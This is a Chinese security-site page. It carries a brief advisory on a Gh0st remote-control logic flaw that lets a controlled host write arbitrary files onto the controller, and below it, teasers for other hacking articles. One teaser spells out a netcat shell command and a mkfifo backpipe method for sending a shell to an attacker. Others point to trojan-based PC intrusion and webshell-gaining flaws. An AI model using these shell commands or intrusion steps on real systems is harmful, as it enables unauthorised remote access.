Gh0st逻辑漏洞导致向控制端发送任意文件

2018-03-11 13:06:51责编：llp 来源：驱动管家人气：

严重程度：高

威胁程度：控制远程主机

错误类型：逻辑错误

利用方式：主机模式

受影响系统

Gh0st3.6之前所有版本

未影响系统

未知

详细描述

Gh0st 发现漏洞一个逻辑漏洞，这些漏洞可以被用户利用，可以从被控端向控制端发送任意文件到任意位置。

Gh0st逻辑漏洞导致向控制端发送任意文件

测试代码

1.控制端先向控制端发送TOKEN_DRIVE_LIST的封包。

2.向控制端发送TOKEN_FILE_SIZE的(封包传输文件时的第一个数据包，文件大小，及文件名)

解决方案

相关信息

email: kissxiaotutu@hotmail.com

Web: http://www.cisrg.org

入侵教程谈谈主要的论坛攻击方法和防范手段
目前网上有种新的趋势，黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所，而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同，因此对大家的网络安全威胁非常大。换个角度来说，黑客们通过入
详情2018-01-28 13:50:21责编：llp 来源：驱动管家
演示科讯的漏洞怎么找到科讯的漏洞？
现在程序在不断的发展，更新。漏洞也不断的出现。今天来给大家演示一下科讯的漏洞，简单拿大站的WebShell 在百度或者GOOGEL搜索，科讯的注册关键字，因为这个漏洞就出自于头像上传。关键字为(小提示：在输入用户
详情2018-02-06 16:19:20责编：llp 来源：驱动管家
木马冰河入侵个人电脑的步骤只需十三步
木马冰河是一款功能强大的远程控制软件，因为它的功能很强大所以成为了黑客们发动入侵的工具，2HK联盟Mask曾利用它入侵过数千台电脑，国外电脑也不例外，一起来看看哪十三步简单入侵个人电脑吧。第一步下载必备的
详情2018-01-19 15:49:15责编：llp 来源：驱动管家
打开电脑的六种方法原来打电话也能开计算机
如果有人问：“你会开计算机吗？”你肯定会说：“不就是按一下 Power 键吗？这有谁不会？开机，不只从这里开始如果再问你：“除了按 Power 键开机外，你还会用其他的方法开机吗？”你肯定会一愣。开机六种玩
详情2018-01-12 08:50:40责编：llp 来源：驱动管家
unix系统怎么使用自带nc工具反弹shell？
NC的原生做法：nc -l -vv -p 2222 -e bin bash无法使用NC反弹的时候可以这样先在tmp创建一个普通管道mknod tmp backpipe p或者mkfifo tmp backpipe p然后管道一边接入shell,一变用NC反弹到攻击者主
详情2018-01-10 10:48:14责编：llp 来源：驱动管家
dedecms 5.6有哪些漏洞？dedecms 5.6漏洞描述
DEDECMS 5 6最新Get Shell漏洞影响版本:DEDECMS 5 3 5 6漏洞描述:DedeCms 基于PHP+MySQL的技术开发，支持Windows、Linux、Unix等多种服务器平台，从2004年开始发布第一个版本开始，至今已经发布了五个大版本
详情2018-03-02 09:47:03责编：llp 来源：驱动管家
什么是ip欺骗？ip欺骗的原理
即使是很好的实现了TCP IP协议，由于它本身有着一些不安全的地方，从而可以对TCP IP网络进行攻击。这些攻击包括序列号欺骗，路由攻击，源地址欺骗和授权欺骗。本文除了介绍IP欺骗攻击方法外，还介绍怎样防止这个
详情2018-01-06 18:36:30责编：llp 来源：驱动管家
远程安全扫描器nessus有哪些优点？nessus扫描的步骤是什么？
漏洞扫描就是对计算机系统或者其它网络设备进行安全相关的检测，以找出安全隐患和可被黑客利用的漏洞。显然，漏洞扫描软件是把双刃剑，黑客利用它入侵系统，而系统管理员掌握它以后又可以有效的防范黑客入侵。因
详情2018-01-28 11:02:29责编：llp 来源：驱动管家
保护你的隐私，grub密码怎么被md5加密？
GRUB——全称”Grand unified bootloader“的缩写，是GNU项目的一个启动加载包。在linux系统启动过程中，GRUB在MBR（主引导加载程序或主引导记录master boot record）之后启动，故又将GRUB称为次引导加载程序
详情2018-01-30 16:39:48责编：llp 来源：驱动管家
反arp攻击：局域网怎么隔离感染arp病毒的电脑？
局域网如何隔离感染ARP病毒的电脑呢？以下就是具体的实现方法。方法步骤局域网电脑是否存在ARP攻击的查看方法：点击“开始”-“程序”-“附件”-“运行”项来打开“运行“窗口，或者按”Windows+R“来打开，输入
详情2018-01-23 10:24:04责编：llp 来源：驱动管家